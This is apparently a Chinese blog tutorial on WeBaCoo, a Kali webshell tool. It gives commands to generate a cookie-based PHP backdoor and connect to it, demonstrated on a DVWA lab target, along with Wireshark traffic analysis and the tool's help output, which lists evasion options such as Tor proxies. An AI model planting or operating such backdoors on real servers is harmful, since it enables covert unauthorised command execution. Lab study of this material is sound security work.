kali中的webshell工具--webacoo

laoxiajiadeyun 2019-03-10 原文

webacoo

webshell其实就是放置在服务器上的一段代码

kali中生成webshell的工具

WeBaCoo（Web Backdoor Cookie）

特点及使用方法

类终端的shell
编码通信内容通过cookie头传输，隐蔽性强
cookie中传递数据使用的参数：
- cm：base64编码的命令
- cn：服务器用于返回数据的cookie头的名
- cp：返回信息定界符
生成服务端
- Webacoo -g -o a.php
客户端连接
- Webacoo -t -u http://x.x.x.x/a.php

生成一个webshell测试：

查看文件内容可以看到是被base64加密的

在DVWA靶机环境中上传该文件

然后使用webacoo连接服务器

成功连接：

可以直接执行系统命令：

webacoo的隐蔽性高之一是因为他采用的是cookie传参，且为base64加密

接着使用wireshark抓包查看其cookie参数：

这里cm选项中的字符串经过解码后就是我们传入的命令ls

服务器端返回的setcookie中的M-cookie字段就是命令返回的结果，cp变量值为QXg@和M-cookie中的开头对应，为界定符。

这里的M-cookie可以在连接webshell时通过-c参数自定义：

除此外，webacoo还可以在连接时使用-p选项，通过代理服务器连接目标服务器

更多参数可以通过webacoo -h查看帮助手册

 1 root@bogon:~# webacoo -h
 2 
 3     WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
 4     Copyright (C) 2011-2012 Anestis Bechtsoudis
 5     { @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com }
 6 
 7 
 8 Usage: webacoo [options]
 9 
10 Options:
11   -g        Generate backdoor code (-o is required)
12 
13   -f FUNCTION    PHP System function to use
14     FUNCTION
15         1: system     (default)
16         2: shell_exec
17         3: exec
18         4: passthru
19         5: popen
20 
21   -o OUTPUT    Generated backdoor output filename
22 
23   -r         Return un-obfuscated backdoor code
24 
25   -t        Establish remote "terminal" connection (-u is required)
26 
27   -u URL    Backdoor URL
28 
29   -e CMD    Single command execution mode (-t and -u are required)
30 
31   -m METHOD    HTTP method to be used (default is GET)
32 
33   -c C_NAME    Cookie name (default: "M-cookie")
34 
35   -d DELIM    Delimiter (default: New random for each request)
36 
37   -a AGENT    HTTP header user-agent (default exist)
38 
39   -p PROXY    Use proxy (tor, ip:port or user:pass:ip:port)
40 
41   -v LEVEL    Verbose level
42     LEVEL
43         0: no additional info (default)
44         1: print HTTP headers
45         2: print HTTP headers + data
46 
47   -l LOG    Log activity to file
48 
49   -h        Display help and exit
50 
51   update    Check for updates and apply if any